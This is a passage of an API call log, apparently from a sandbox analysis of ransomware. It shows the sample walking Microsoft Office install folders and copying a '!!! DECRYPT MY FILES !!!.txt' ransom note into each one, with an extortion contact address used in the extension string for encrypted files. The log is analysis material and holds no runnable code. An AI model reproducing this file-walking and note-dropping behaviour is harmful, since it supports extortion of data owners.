psz="C:\\Program Files\\Microsoft Office\\", len=0x22 | out: pbstr=0x6ebf3a0*="C:\\Program Files\\Microsoft Office\\") returned 1 [0119.142] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\", cchLength=0x22 | out: lpsz="c:\\program files\\microsoft office\\") returned 0x22 [0119.142] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0119.142] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0119.142] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3bf0ff2f, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3bf0ff2f, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d51c0 [0119.143] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3bf0ff2f, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3bf0ff2f, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.143] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1be5b930, ftCreationTime.dwHighDateTime=0x1d56baa, ftLastAccessTime.dwLowDateTime=0xe2fc7b40, ftLastAccessTime.dwHighDateTime=0x1d5a37b, ftLastWriteTime.dwLowDateTime=0xe2fc7b40, ftLastWriteTime.dwHighDateTime=0x1d5a37b, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="accupos.exe", cAlternateFileName="")) returned 1 [0119.143] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Program Files\\Microsoft Office\\accupos.exe", len=0x2d | out: pbstr=0x6ebf398*="C:\\Program Files\\Microsoft Office\\accupos.exe") returned 1 [0119.143] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\accupos.exe", cchLength=0x2d | out: lpsz="c:\\program files\\microsoft office\\accupos.exe") returned 0x2d [0119.143] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.143] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.143] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.143] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.143] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0119.143] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0119.144] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x83189ec0, dwReserved1=0x1d327e7, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5200 [0119.144] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0119.144] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0120.459] GetProcessHeap () returned 0x630000 [0120.459] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x130) returned 0x66a3e0 [0120.459] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6778e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9e9425d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x5ab2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.xml", cAlternateFileName="APPXMA~1.XML")) returned 1 [0120.459] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\program files\\microsoft office\\accupos.exe", psz="C:\\Program Files\\Microsoft Office\\AppXManifest.xml", len=0x32 | out: pbstr=0x6ebf398*="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 1 [0120.459] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\AppXManifest.xml", cchLength=0x32 | out: lpsz="c:\\program files\\microsoft office\\appxmanifest.xml") returned 0x32 [0120.460] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.460] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.460] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.460] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.460] GetProcessHeap () returned 0x630000 [0120.460] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x134) returned 0x66a3e0 [0120.460] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83543a09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSystemMetadata.xml", cAlternateFileName="FILESY~1.XML")) returned 1 [0120.460] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\program files\\microsoft office\\appxmanifest.xml", psz="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml", len=0x38 | out: pbstr=0x6ebf398*="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 1 [0120.460] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml", cchLength=0x38 | out: lpsz="c:\\program files\\microsoft office\\filesystemmetadata.xml") returned 0x38 [0120.460] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.460] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.460] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.460] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.461] GetProcessHeap () returned 0x630000 [0120.461] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x138) returned 0x66a3e0 [0120.461] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office16", cAlternateFileName="")) returned 1 [0120.461] SysReAllocStringLen (in: pbstr=0x6ebf0d8*=0x0, psz="C:\\Program Files\\Microsoft Office\\Office16\\", len=0x2b | out: pbstr=0x6ebf0d8*="C:\\Program Files\\Microsoft Office\\Office16\\") returned 1 [0120.461] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\Office16\\", cchLength=0x2b | out: lpsz="c:\\program files\\microsoft office\\office16\\") returned 0x2b [0120.461] SysReAllocStringLen (in: pbstr=0x6ebf080*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf080*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0120.461] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0120.461] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\*.*", lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x630334, cFileName=".", cAlternateFileName="")) returned 0x6d53c0 [0120.462] FindNextFileW (in: hFindFile=0x6d53c0, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.462] FindNextFileW (in: hFindFile=0x6d53c0, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xd9e7b530, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x2a9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPP.HTM", cAlternateFileName="")) returned 1 [0120.463] SysReAllocStringLen (in: pbstr=0x6ebf0d0*=0x0, psz="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM", len=0x33 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 1 [0120.463] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM", cchLength=0x33 | out: lpsz="c:\\program files\\microsoft office\\office16\\ospp.htm") returned 0x33 [0120.463] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.463] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.463] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.463] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.463] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe074, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0120.463] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe070, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0120.463] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebeddc | out: lpFindFileData=0x6ebeddc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xd9e7b530, dwReserved1=0x1d327e7, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5200 [0120.463] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0120.464] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office16\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\office16\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0120.469] GetProcessHeap () returned 0x630000 [0120.469] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x13c) returned 0x66a3e0 [0120.469] FindNextFileW (in: hFindFile=0x6d53c0, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ea17a8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x17103, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPP.VBS", cAlternateFileName="")) returned 1 [0120.469] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\office16\\ospp.htm", psz="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS", len=0x33 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 1 [0120.469] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS", cchLength=0x33 | out: lpsz="c:\\program files\\microsoft office\\office16\\ospp.vbs") returned 0x33 [0120.469] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.469] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.469] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.469] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.469] GetProcessHeap () returned 0x630000 [0120.469] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x140) returned 0x66a3e0 [0120.469] FindNextFileW (in: hFindFile=0x6d53c0, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x6a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="OSPPRE~1.EXE")) returned 1 [0120.470] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\office16\\ospp.vbs", psz="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE", len=0x38 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 1 [0120.470] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE", cchLength=0x38 | out: lpsz="c:\\program files\\microsoft office\\office16\\ospprearm.exe") returned 0x38 [0120.470] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.470] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.470] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.470] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.470] GetProcessHeap () returned 0x630000 [0120.470] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x144) returned 0x66a3e0 [0120.470] FindNextFileW (in: hFindFile=0x6d53c0, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xda9a8629, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x8df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLERROR.XML", cAlternateFileName="")) returned 1 [0120.470] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\office16\\ospprearm.exe", psz="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML", len=0x36 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 1 [0120.470] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML", cchLength=0x36 | out: lpsz="c:\\program files\\microsoft office\\office16\\slerror.xml") returned 0x36 [0120.470] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.470] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.471] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.471] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.471] GetProcessHeap () returned 0x630000 [0120.471] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x148) returned 0x66a3e0 [0120.471] FindNextFileW (in: hFindFile=0x6d53c0, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0120.471] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0120.471] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b611dc0, ftCreationTime.dwHighDateTime=0x1d56e59, ftLastAccessTime.dwLowDateTime=0x16bb4800, ftLastAccessTime.dwHighDateTime=0x1d5c6cf, ftLastWriteTime.dwLowDateTime=0x16bb4800, ftLastWriteTime.dwHighDateTime=0x1d5c6cf, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="operamail.exe", cAlternateFileName="OPERAM~1.EXE")) returned 1 [0120.471] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\program files\\microsoft office\\filesystemmetadata.xml", psz="C:\\Program Files\\Microsoft Office\\operamail.exe", len=0x2f | out: pbstr=0x6ebf398*="C:\\Program Files\\Microsoft Office\\operamail.exe") returned 1 [0120.471] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\operamail.exe", cchLength=0x2f | out: lpsz="c:\\program files\\microsoft office\\operamail.exe") returned 0x2f [0120.471] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.472] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.472] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.472] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.472] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1 [0120.472] SysReAllocStringLen (in: pbstr=0x6ebf0d8*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\", len=0x33 | out: pbstr=0x6ebf0d8*="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned 1 [0120.472] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\", cchLength=0x33 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\") returned 0x33 [0120.472] SysReAllocStringLen (in: pbstr=0x6ebf080*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf080*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0120.472] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0120.472] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\*.*", lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4e40 [0120.478] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.481] FindNextFileW (in: 